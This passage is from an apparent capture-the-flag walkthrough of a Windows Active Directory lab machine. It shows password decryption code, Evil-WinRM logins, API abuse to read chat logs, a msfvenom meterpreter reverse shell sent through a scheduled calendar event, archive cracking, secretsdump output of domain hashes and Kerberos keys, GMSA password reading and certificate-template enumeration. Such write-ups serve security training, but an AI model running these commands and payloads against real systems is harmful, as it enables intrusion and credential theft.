		string path = "LDAP://dc01.infiltrator.htb";
		string text = "";
		string text2 = "";
		string text3 = "";
		string text4 = "winrm_svc";
		string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
		int i = 0;
		while (i < args.Length)
		{
			string text5 = args[i].ToLower();
			if (text5 != null)
			{
				if (!(text5 == "-u"))
				{
					if (!(text5 == "-p"))
					{
						if (!(text5 == "-s"))
						{
							if (!(text5 == "-default"))
							{
								goto IL_C2;
							}
							text = text4;
							text2 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", cipherText);
						}
						else
						{
							text3 = args[i + 1];
						}
					}
					else
					{
						text2 = args[i + 1];
					}
				}
				else
				{
					text = args[i + 1];
				}
				i += 2;
				continue;
			}
			IL_C2:
			Console.WriteLine(string.Format("Invalid argument: {0}", args[i]));
			return;
		}
		if (string.IsNullOrEmpty(text) || string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text3))
		{
			Console.WriteLine("Usage: UserExplorer.exe -u <username> -p <password>  -s <searchedUsername> [-default]");
			Console.WriteLine("To use the default credentials: UserExplorer.exe -default -s userToSearch");
			return;
		}
		try
		{
			Console.WriteLine("Attempting Service Connection...");
			using (DirectoryEntry directoryEntry = new DirectoryEntry(path, text, text2))
			{
				Console.WriteLine("Service Connection Successful.");
				using (DirectorySearcher directorySearcher = new DirectorySearcher(directoryEntry))
				{
					directorySearcher.Filter = string.Format("(SAMAccountName={0})", text3);
					Console.WriteLine(string.Format("Search for {0} user...", text3));
					SearchResult searchResult = directorySearcher.FindOne();
					if (searchResult != null)
					{
						Console.WriteLine("User found. Details:");
						DirectoryEntry directoryEntry2 = searchResult.GetDirectoryEntry();
						Console.WriteLine(string.Format("Name: {0}", directoryEntry2.Properties["cn"].Value));
						Console.WriteLine(string.Format("EmailID: {0}", directoryEntry2.Properties["mail"].Value));
						Console.WriteLine(string.Format("Telephone Extension: {0}", directoryEntry2.Properties["telephoneNumber"].Value));
						Console.WriteLine(string.Format("Department: {0}", directoryEntry2.Properties["department"].Value));
						Console.WriteLine(string.Format("Job Title: {0}", directoryEntry2.Properties["title"].Value));
					}
					else
					{
						Console.WriteLine("User not found.");
					}
				}
			}
		}
		catch (Exception ex)
		{
			Console.WriteLine(string.Format("An error occurred: {0}", ex.Message));
		}
	}
}

The DecryptString function initializes an AES object using a key and some random IV and proceeds to decrypt the given ciphertext.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

// Token: 0x02000002 RID: 2
public class Decryptor
{
	// Token: 0x06000002 RID: 2 RVA: 0x00002058 File Offset: 0x00000258
	public static string DecryptString(string key, string cipherText)
	{
		string result;
		using (Aes aes = Aes.Create())
		{
			aes.Key = Encoding.UTF8.GetBytes(key);
			aes.IV = new byte[16];
			ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
			using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
			{
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
				{
					using (StreamReader streamReader = new StreamReader(cryptoStream))
					{
						result = streamReader.ReadToEnd();
					}
				}
			}
		}
		return result;
	}
}

From what we read in the messages, the -default option doesn’t seem to work. Indeed when trying to decrypt the password using the given AES key, we get a base64 encoded string back.

1
2
$ python decryptor.py        
SKqwQk81tgq+C3V7pzc1SA==

Given the output format, the password might be double encrypted. We can try to decode the output using the same function and this time it gives us what looks like a valid password!

1
2
$ python decryptor.py
WinRm@$svc^!^P

The final code to decrypt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64

cipher_text = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE="
key = "b14ca5898a4e4133bbce2ea2315a1916"

def decrypt_string(key: str, cipher_text: str) -> str:

    key_bytes = key.encode('utf-8')
    cipher_bytes = base64.b64decode(cipher_text)

    cipher = Cipher(algorithms.AES(key_bytes), modes.CBC(b'\x00' * 16), backend=default_backend())

    decryptor = cipher.decryptor()

    decrypted_bytes = decryptor.update(cipher_bytes) + decryptor.finalize()

    return decrypted_bytes.decode('utf-8')

# print(decrypt_string(key, cipher_text))
print(decrypt_string(key,decrypt_string(key, cipher_text)))

The following cyberchef formula also does the trick and prints the decrypted password: https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'b14ca5898a4e4133bbce2ea2315a1916'%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'b14ca5898a4e4133bbce2ea2315a1916'%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=VEdsdTIyb284R0lIUmtKQkJwWjFuUS94NmwzNk1WajNVa3Y0SHc4NnFHRT0.

Shell as Olivia Martinez

With winrm_svc’s password, we can try to get a shell as that user using Evil-WinRM:

1
2
3
4
$ evil-winrm -i infiltrator.htb -u winrm_svc -p 'WinRm@$svc^!^P'
Evil-WinRM shell v3.4

*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

If you recall what I mentioned earlier about received files in Output Messenger, I pointed out that everything goes into a directory in the user’s home folders. On Windows, this happens to be in the appdata folder.

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\users\winrm_svc\appdata\roaming> dir
Directory: C:\users\winrm_svc\appdata\roaming


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-        2/19/2024   3:53 AM                Microsoft
d-----        2/25/2024   7:22 AM                Output Messenger

The Output Messenger folder contains the received files as well as multiple other folders. We can also spot a .db3 file. According to the documentation, this is a sqlite database where the client settings are saved.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\users\winrm_svc\appdata\roaming\output messenger\JAAA> dir
Directory: C:\users\winrm_svc\appdata\roaming\output messenger\JAAA


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/25/2024   7:20 AM                Audios
d-----        2/25/2024   7:20 AM                CalendarFiles
d-----        2/25/2024   7:26 AM                Log
d-----        2/25/2024   7:20 AM                MailInbox
d-----        2/25/2024   7:20 AM                MailSent
d-----        2/25/2024   7:20 AM                Received Files
d-----        2/25/2024   7:20 AM                Screenshots
d-----        2/25/2024   7:20 AM                Temp
d-----        2/25/2024   7:20 AM                Theme
-a----        2/25/2024   7:20 AM          29696 OM.db3
-a----        2/25/2024   7:20 AM          13312 OT.db3

This means we can simply download this file locally and explore it using sqlite3. We find multiple tables but the two most interesting ones are om_settings and om_chatroom.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sqlite> select * from om_settings;
1|DeviceID|1caa6c3dd3890b89242d333178dfce9f575d5784|
2|email|martinez@infiltrator.htb|
3|phone||
4|UserTitle|Chief Marketing Officer|
5|chkIdle|True|
6|cboIdle|20|
7|ServerLessCommunication|True|
8|PreviousGroupChatMessage|False|
9|UserUpdatedDate|2024-02-20T01:18:49|
10|GroupUpdatedDate|1900-01-01T08:00:00|
11|RefreshDate|1900-01-01T08:00:00|
12|ServerVersion|2.0.42|
13|LastSyncMessageID |XE5CET2507195787|
14|LastSyncActivityMessageID ||
15|ServerPlugins||<?xml version="1.0" encoding="utf-8"?><OUM><Plugin><Name>Output Mail</Name></Plugin></OUM>
16|ReadMessageUpdatedDate|2024-02-25 15:20:08|
17|CustomGroupUpdatedDate|1900-01-01T08:00:00|
18|CustomGroupRefreshDate|1900-01-01T08:00:00|
19|IPRange|2024-02-19T15:41:16.000Z|1||Local Network;2||Other Network

$ sqlite> select * from om_chatroom;
1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||

From the om_settings table, it looks like we have the client settings of o.martinez. The last table seems to contain the names for 2 chatrooms. Right now, this information doesn’t seem very useful but that’s because where missing a piece of the puzzle. We’ll see in a minute how this can be useful.

With winrm_svc’s credentials, we can also log in to the Output Messenger app. Looking through conversations, we find nothing but among the various features, the notes section is not empty!

Output Messenger winrm_svc notes Output Messenger winrm_svc notes

So, with this we now have an api key, but for what ? Searching online for Output messenger api key sends us to the API documentation of Output messenger: authentication-api.

We get an example on how to use the api and if we look closely at the example, we can see that our api key seems to have the same format as the one from the example. Testing the api key with the /api/users endpoint tells us this is working:

1
2
$ curl -H "API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG" "http://localhost:14125/api/users"                  
{"rows":[{"user":"admin","displayname":"Admin","group":"Administration","role":"A","email":"","phone":"","title":"","status":"online"},{"user":"D.anderson","displayname":"D.anderson","group":"Marketing Team","role":"U","email":"anderson@infiltrator.htb","phone":"+0 123 443 699","title":"Marketing","status":"offline"},{"user":"L.clark","displayname":"L.clark","group":"Marketing Team","role":"U","email":"clark@infiltrator.htb","phone":"+0 123 443 699","title":"Marketing","status":"offline"},{"user":"M.harris","displayname":"M.harris","group":"Developers","role":"U","email":"harris@infiltrator.htb","phone":"+0 123 443 699","title":"Developer","status":"online"},{"user":"O.martinez","displayname":"O.martinez","group":"Others","role":"U","email":"martinez@infiltrator.htb","phone":"","title":"Chief Marketing Officer","status":"online"},{"user":"A.walker","displayname":"A.walker","group":"Others","role":"U","email":"walker@infiltrator.htb","phone":"","title":"Co Founder","status":"offline"},{"user":"K.turner","displayname":"K.turner","group":"QA Testers","role":"U","email":"turner@infiltrator.htb","phone":"","title":"QA Tester","status":"offline"},{"user":"E.rodriguez","displayname":"E.rodriguez","group":"Digital Influencer Marketing","role":"U","email":"rodriguez@infiltrator.htb","phone":"+0 123 443 699","title":"Digital Influencer","status":"offline"},{"user":"winrm_svc","displayname":"winrm_svc","group":"Management and Security","role":"U","email":"winrm_svc@infiltrator.htb","phone":"+0 123 443 699","title":"Services Managment","status":"offline"},{"user":"Developer_01","displayname":"Developer_01","group":"Developers","role":"U","email":"Developer_01@infiltrator.htb","phone":"","title":"Developer","status":"offline"},{"user":"Developer_02","displayname":"Developer_02","group":"Developers","role":"U","email":"Developer_02@infiltrator.htb","phone":"","title":"Developer_02","status":"offline"},{"user":"Developer_03","displayname":"Developer_03","group":"Developers","role":"U","email":"Developer_03@infiltrator.htb","phone":"","title":"Developer_03","status":"offline"}],"success":true}

The documentation has a section regarding chat rooms. And this is where the information we found previously is going to be useful. If we have the roomkey, we can retrieve the logs of a chatroom (Retrive a chat room log). The chat room key is the “XXX@conference.com” information we saw previously. The general chat isn’t very interesting as we can already read this when connected as winrm_svc on Output Messenger. However, I didn’t see the Chiefs Marketing Chat in the list of chat rooms on the app. Let’s use its room key (20240220014618@conference.com) and read everything that was posted there:

1
$ curl -H "API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG" "http://localhost:14125/api/chatrooms/logs?roomkey=20240220014618@conference.com&fromdate=2023/01/01&todate=2025/02/01" -o chiefs_marketing_room_log.txt

Parsing the unicode characters and transforming the file to html, we can read the conversation:

A.walker: Hey, hope you’re doing well! What tasks do you have on your plate today? O.martinez: Thanks! I’m working on the new marketing campaign and reviewing the budget for Q4. How about you? A.walker: Sounds busy! By the way, I need to check something in your account. Could you share your username password? O.martinez: sure! O.martinez: O.martinez : m@rtinez@1996!

So, we have a password for o.martinez! Unfortunately, this password doesn’t work to connect to the AD. However, trying to connect to Output Messenger logs us in as Olivia Martinez.

Running tasks

Olivia Martinez has one conversation with winrm_svc where they mention about pop-ups opening on her desktop every day at a fixed time.

Output Messenger o.martinez chat with winrm_svc Output Messenger o.martinez chat with winrm_svc

Having a look at their calendar feature indeed reveals that there are daily events registered to open a website every day at 8:00.

Output Messenger o.martinez calendar Output Messenger o.martinez calendar

If we click on one of the days in the calendar, we get a new event creation modal. One of the actions sounds more promising than the others: Run Application.

Output Messenger o.martinez new event creation Output Messenger o.martinez new event creation

We have to set the path of the application we would like to run. As a test, I added the path to the calculator app and set the time to 1 minutes in the future. One minute later, the calculator app opened on my windows VM.

This is cool but how can we get anything out of this ? Well, remember what I wrote when we connected the first time as k.turner ? We saw that two users where active/idle on the Output Messenger app. This means that a session is probably open for both of these users on the target machine. If a session is open, then this means that they probably also had a calculator pop up if the path was the same as on my VM. In theory, this means that if we upload a reverse shell binary to my windows VM and the target machine and make sure that the path is the same for both binaries, it should execute on the target machine. To avoid the binary running on our side, we can simply disconnect from o.martinez’s session.

We can craft a meterpreter reverse shell using msfvenom:

1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.207 LPORT=4444 -f exe -o martinez.exe 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: martinez.exe

If we now place the binary in the same path on both machines (I chose C:\temp\martinez.exe for simplicity), we should get a shell back when the event is triggered. We also should disconnect from o.martinez’s session on our local VM! This is what the event looks like in the calendar:

Output Messenger o.martinez run application event Output Messenger o.martinez run application event

We set up the msf handler and at the time of the event, we get a shell back from the infiltrator machine as o.martinez:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ msfconsole -q
msf6 > use windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost tun0
lhost => 10.10.14.207
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4444
lport => 4444
msf6 payload(windows/x64/meterpreter/reverse_tcp) > exploit
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 10.10.14.207:4444
msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (203846 bytes) to 10.129.231.134
[*] Meterpreter session 1 opened (10.10.14.207:4444 -> 10.129.231.134:62480) at 2025-05-13 23:49:05 +0200

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x64/windows  INFILTRATOR\o.martinez @ DC01  10.10.14.207:4444 -> 10.129.231.134:62480 (10.129.231.13
                                                                    4)

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: INFILTRATOR\o.martinez

From here, we can start by exploring what o.martinez’s files have to offer us and check whether the user has stored credentials or other information that we could extract. If we remember from winrm_svc, we found interesting data in the output messenger data folder in appdata.

In the Received Files folder, we find a peculiar folder named 203301.

1
2
3
4
5
6
7
8
9
c:\Users\O.martinez\AppData\Roaming\Output Messenger\FAAA\Received Files> dir
 Directory of c:\Users\O.martinez\AppData\Roaming\Output Messenger\FAAA\Received Files

09/06/2024  03:16 PM    <DIR>          .
09/06/2024  03:16 PM    <DIR>          ..
02/19/2024  06:47 PM    <DIR>          202402
08/04/2024  11:54 AM    <DIR>          202408
09/06/2024  03:16 PM    <DIR>          202409
02/25/2024  08:30 AM    <DIR>          203301

This is very weird as the folders are supposed to follow the pattern YEAR + MONTH. It also explains why we couldn’t see this in o.martinez’s Output Messenger session.

Analyse pcap

The folder contains a single network capture. I copy it locally and open it in wireshark to analyze its content.

Multiple data streams are available in the capture but if we follow the HTTP stream, we understand what happened:

  • A Flask web app is visited and the user logs in using authorization=securepassword
  • The user is then redirected to a /files folder where they can download/rename/delete an archive named BitLocker-backup.7z
  • The file is downloaded
  • The user proceeds to sucessfully call the /api/change_auth_token with new_auth_token=M@rtinez_P@ssw0rd!

From this exchange, we can extract the 7z file and we now have a new password as well! Trying to login in with this password for o.martinez succeeds this time!

1
2
3
$ netexec ldap 10.129.231.134 -u o.martinez -p 'M@rtinez_P@ssw0rd!'                                                 
LDAP        10.129.231.134  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:infiltrator.htb)
LDAP        10.129.231.134  389    DC01             [+] infiltrator.htb\o.martinez:M@rtinez_P@ssw0rd!

Bitlocker backup

Before logging in as o.martinez, let’s take a look at this 7zip archive. When opening it, it asks for a password. Trying the one from o.martinez doesn’t succeed so for now we can try to crack it. Johntheripper provides a utility binary to create a crackable hash from a 7zip archive 7z2john:

1
$ 7z2john Bitlocker-backup.7z > Bitlocker-backup.hash

Cracking it with john gives us a very simple password zipper:

1
2
3
$ john Bitlocker-backup.hash  --wordlist=/usr/share/wordlists/rockyou.txt
...[snip]...
zipper           (Bitlocker-backup.7z)

Inside, we find find a HTML called Microsoft account _ Clés de récupération BitLocker. This is french for BitLocker recovery keys. Opening the file with a browser, we indeed find the recovery key.

BitLocker recovery key page BitLocker recovery key page

RDP

We could continue working through the meterpreter shell but we could also just log in now as o.martinez. Taking a look at the data from bloodhound, we see that o.martinez is part of the Remote Desktop Users group which means we can open an RDP session with her credentials. We can do this with xfreerdp3 from our linux machine:

1
2
3
4
5
6
7
$ xfreerdp3 /u:o.martinez /d:infiltrator.htb /v:10.129.231.134
...[snip]...
The above X.509 certificate does not match the certificate used for previous connections.
This may indicate that the certificate has been tampered with.
Please contact the administrator of the RDP server and clarify.
Do you trust the above certificate? (Y/T/N) Y
Password:  # M@rtinez_P@ssw0rd!

We now have an rdp session as o.martinez

O.martinez RDP session O.martinez RDP session

lan_management

We have already looked a bit previously through o.martinez’s files but something we haven’t looked at yet is the E: drive. It was inaccessible for all other users we could connect with to the Infiltrator machine.

We see that the folder is locked and when opening it, we see it is protected using BitLocker. Clicking on More Options show we can also provide a recovery key!

O.martinez E: drive O.martinez E: drive

Most of the folders are empty but we do find a file named Backup_Credentials.7z in Windows Server 2012 R2 - Backups\Users\Administrator\Documents. We download this file locally and this time it is not password-protected.

1
2
3
4
5
6
$ find .
./registry
./registry/SECURITY
./registry/SYSTEM
./Active Directory
./Active Directory/ntds.dit

ntds.dit

The archive contains a ntds.dit file which is the core database powering Active Directory. It usually contains essential data like user credentials, group policies, security settings and domain configurations. A literal goldmine for any attacker. In addition to this, there is also the system hive and security hive.

I’ll explore two options to extract the data from these files: secretsdump and ntdsdotsqlite.

secretsdump

Searching online how I could crack this file to make it reveal its secrets, I found this good article by ropnop (the author of the kerbrute tool).

By combining the NTDS.dit file and the System hive, secretsdump offers us the option of extracting all the NT hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$ python examples/secretsdump.py -ntds ~/htb/machines/infiltrator/e-drive/Active\ Directory/ntds.dit  -system ~/htb/machines/infiltrator/e-drive/registry/SYSTEM LOCAL
[*] Target system bootKey: 0xd7e7d8797c1ccd58d95e4fb25cb7bdd4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d27644ab3070f72ec264fcb413d75299
[*] Reading and decrypting hashes from /home/kali/htb/machines/infiltrator/e-drive/Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:454fcbc37690c6e4628ab649e8e285a5:::
infiltrator.htb\winrm_svc:1104:aad3b435b51404eeaad3b435b51404ee:84287cd16341b91eb93a58456b73e30f:::
infiltrator.htb\lan_managment:1105:aad3b435b51404eeaad3b435b51404ee:e8ade553d9b0cb1769f429d897c92931:::
infiltrator.htb\M.harris:1106:aad3b435b51404eeaad3b435b51404ee:fc236589c448c620417b15597a3d3ca7:::
infiltrator.htb\D.anderson:1107:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\L.clark:1108:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\O.martinez:1109:aad3b435b51404eeaad3b435b51404ee:eb86d7bcb30c8eac1bdcae5061e2dff4:::
infiltrator.htb\A.walker:1110:aad3b435b51404eeaad3b435b51404ee:46389d8dfdfcf0cbe262a71f576e574b:::
infiltrator.htb\K.turner:1111:aad3b435b51404eeaad3b435b51404ee:48bcd1cdc870c6285376a990c2604531:::
infiltrator.htb\E.rodriguez:1112:aad3b435b51404eeaad3b435b51404ee:b1918c2ce6a62f4eee11c51b6e2e965a:::
[*] Kerberos keys from /home/kali/htb/machines/infiltrator/e-drive/Active Directory/ntds.dit
DC$:aes256-cts-hmac-sha1-96:09b3e08f549e92e0b16ed45f84b25cc6d0c147ff169ce059811a3ed9e6957176
DC$:aes128-cts-hmac-sha1-96:d2a3d7c9ee6965b1e3cd710ed1ceed0f
DC$:des-cbc-md5:5eea34b3317aea91
krbtgt:aes256-cts-hmac-sha1-96:f6e0a1bd3a180f83472cd2666b28de969442b7745545afb84bbeaa9397cb9b87
krbtgt:aes128-cts-hmac-sha1-96:7874dff8138091d6c344381c9c758540
krbtgt:des-cbc-md5:10bfc49ecd3b58d9
infiltrator.htb\winrm_svc:aes256-cts-hmac-sha1-96:ae473ae7da59719ebeec93c93704636abb7ee7ff69678fdec129afe2fc1592c4
infiltrator.htb\winrm_svc:aes128-cts-hmac-sha1-96:0faf5e0205d6f43ae37020f79f60606a
infiltrator.htb\winrm_svc:des-cbc-md5:7aba231386c2ecf8
infiltrator.htb\lan_managment:aes256-cts-hmac-sha1-96:6fcd2f66179b6b852bb3cc30f2ba353327924081c47d09bc5a9fafc623016e96
infiltrator.htb\lan_managment:aes128-cts-hmac-sha1-96:48f45b8eb2cbd8dbf578241ee369ddd9
infiltrator.htb\lan_managment:des-cbc-md5:31c83197ab944052
infiltrator.htb\M.harris:aes256-cts-hmac-sha1-96:20433af8bf6734568f112129c951ad87f750dddf092648c80816d5cb42ed0f49
infiltrator.htb\M.harris:aes128-cts-hmac-sha1-96:2ee0cd05c3fa205a92e6837ff212b7a0
infiltrator.htb\M.harris:des-cbc-md5:3ee3688376f2e5ce
infiltrator.htb\D.anderson:aes256-cts-hmac-sha1-96:42447533e9f1c9871ddd2137def662980e677a748b5d184da910d3c4daeb403f
infiltrator.htb\D.anderson:aes128-cts-hmac-sha1-96:021e189e743a78a991616821138e2e69
infiltrator.htb\D.anderson:des-cbc-md5:1529a829132a2345
infiltrator.htb\L.clark:aes256-cts-hmac-sha1-96:dddc0366b026b09ebf0ac3e7a7f190b491c4ee0d7976a4c3b324445485bf1bfc
infiltrator.htb\L.clark:aes128-cts-hmac-sha1-96:5041c75e19de802e0f7614f57edc8983
infiltrator.htb\L.clark:des-cbc-md5:cd023d5d70e6aefd
infiltrator.htb\O.martinez:aes256-cts-hmac-sha1-96:4d2d8951c7d6eba4edaf172fd0f7b78ab7260e3d513bf2ff387c70c85d912a2f
infiltrator.htb\O.martinez:aes128-cts-hmac-sha1-96:33fdf738e13878a8101e3bf929a5a120
infiltrator.htb\O.martinez:des-cbc-md5:f80bc202755d2cfd
infiltrator.htb\A.walker:aes256-cts-hmac-sha1-96:e26c97600c6f44990f18480087a685e0f1c71bcfbc8413dce6764ccf77df448a
infiltrator.htb\A.walker:aes128-cts-hmac-sha1-96:768672b783131ed963b9deeac0a6d2e4
infiltrator.htb\A.walker:des-cbc-md5:a7e6cde06d6e153b
infiltrator.htb\K.turner:aes256-cts-hmac-sha1-96:2c816a32b395f67df520bc734f7ea8e4df64a9610ffb3ef43e0e9df69b9df8b8
infiltrator.htb\K.turner:aes128-cts-hmac-sha1-96:b20f41c0d3b8fb6e1b793af4a835109b
infiltrator.htb\K.turner:des-cbc-md5:4607b9eaec6838ba
infiltrator.htb\E.rodriguez:aes256-cts-hmac-sha1-96:9114030dd2a57970530eda4ce0aa6b14f88f2be44f6d920de31eb6ee6f1587b5
infiltrator.htb\E.rodriguez:aes128-cts-hmac-sha1-96:ddd37cf706781414885f561c3b469d0c
infiltrator.htb\E.rodriguez:des-cbc-md5:9d5bdaf2cd26165d
[*] Cleaning up...

ntdsdotsqlite

Secretsdump worked very well to extract all the NT hashes but we miss one important information from this database. Using the ntdsdotsqlite tool, we can transform the database to a sqlite file:

1
$ ntdsdotsqlite Active\ Directory/ntds.dit --system registry/SYSTEM -o NTDS.sqlite

We can then explore this file using sqlite3. It contains many tables but the one we will focus on is user_accounts. Fetching some basic information about each user reveals us something that doesn’t exist in the current version of the database:

1
2
3
4
5
6
$ sqlite> select samaccountname,description from user_accounts;
...[snip]...
winrm_svc|User Security and Management Specialist
lan_managment|l@n_M@an!1331
M.harris|Head of Development Department
...[snip]...

Just like we found k.turner’s Output Messenger password in their description, we find the password for lan_management in there as well.

infiltrator_svc

Now that we have lan_management’s password, we can see what we can do with this user in bloodhound:

lan_management has ReadGMSAPassword permission over infiltrator_svc$ lan_management has ReadGMSAPassword permission over infiltrator_svc$

We have the ReadGMSAPassword permission over the infiltrator_svc machine account. This is something we can do easily with bloodyAD:

1
2
3
4
5
$ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' get object 'infiltrator_svc$' --attr msDS-ManagedPassword

distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:91f6a2f300330325d5887462d4072732
msDS-ManagedPassword.B64ENCODED: EYmUhZ06brF1PVK91nHe0RcY8zQkZ4eqzsyXxqSgleLRsol7R38AFmPkbhheS2GI/BS39a1A5MmzYJb3M8fWk0yKQxmI4IzciQZtELLiLZ84iRYQ5p3eYqMQZrQnhpOA+cbDvKpmrq2riPAYZPg+iVoEHgg3UCEEo8VsQNSfqXDXOxAx1xASTe+lclWix7r/NEdGnfoWDhUgMi3oP3movoKuMk7FNYyfkEC1/5bC3TNaKtHN6RgD6KUen5grwmKdGPn7ZOAkf+gb+9Cr4e3vuGJPknPMDq4dS/ykiGVk1UkW4Qh8aTCk6KA6WPpgKWpJ0sz9aUdfRhwDofXHrDnQBw==

With infiltrator_svc’s NT hash in hand, bloodhound is not very helpful and we are back to enumerating things by hand.

Vulnerable certificate

One of the privilege escalation paths we can explore is through certificates. We can request all the certificates with certipy in the hopes we find one that is vulnerable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ certipy find -u 'infiltrator_svc$@infiltrator.htb' -hashes '91f6a2f300330325d5887462d4072732' -target-ip 10.129.210.51 -debug -ns 10.129.210.51 -target dc01.infiltrator.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'INFILTRATOR.HTB' at '10.129.210.51'
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.129.210.51:636 - ssl
[+] Default path: DC=infiltrator,DC=htb
[+] Configuration path: CN=Configuration,DC=infiltrator,DC=htb
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[+] Trying to resolve 'dc01.infiltrator.htb' at '10.129.210.51'
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 10.129.210.51
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'dc01.infiltrator.htb' (10.129.210.51)
[*] Got CA configuration for 'infiltrator-DC01-CA'
[+] Resolved 'dc01.infiltrator.htb' from cache: 10.129.210.51
[+] Connecting to 10.129.210.51:80
[*] Saved BloodHound data to '20250223033037_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[+] Adding Domain Computers to list of current user's SIDs
[*] Saved text output to '20250223033037_Certipy.txt'
[*] Saved JSON output to '20250223033037_Certipy.json'

A quick search on ESC reveals that Template n°33 Infiltrator_template is vulnerable for our current machine account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
...[snip]...
Template Name                       : Infiltrator_Template
    Display Name                        : Infiltrator_Template
    Certificate Authorities             : infiltrator-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          PendAllRequests
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : 16777216
                                          65536
                                          ExportableKey
    Extended Key Usage                  : Smart Card Logon
                                          Server Authentication
                                          KDC Authentication
                                          Client Authentication
    Requires Manager Approval           : True
    Requires Key Archival               : False
    Authorized Signatures Required      : 1
    Validity Period                     : 99 years
    Renewal Period                      : 650430 hours
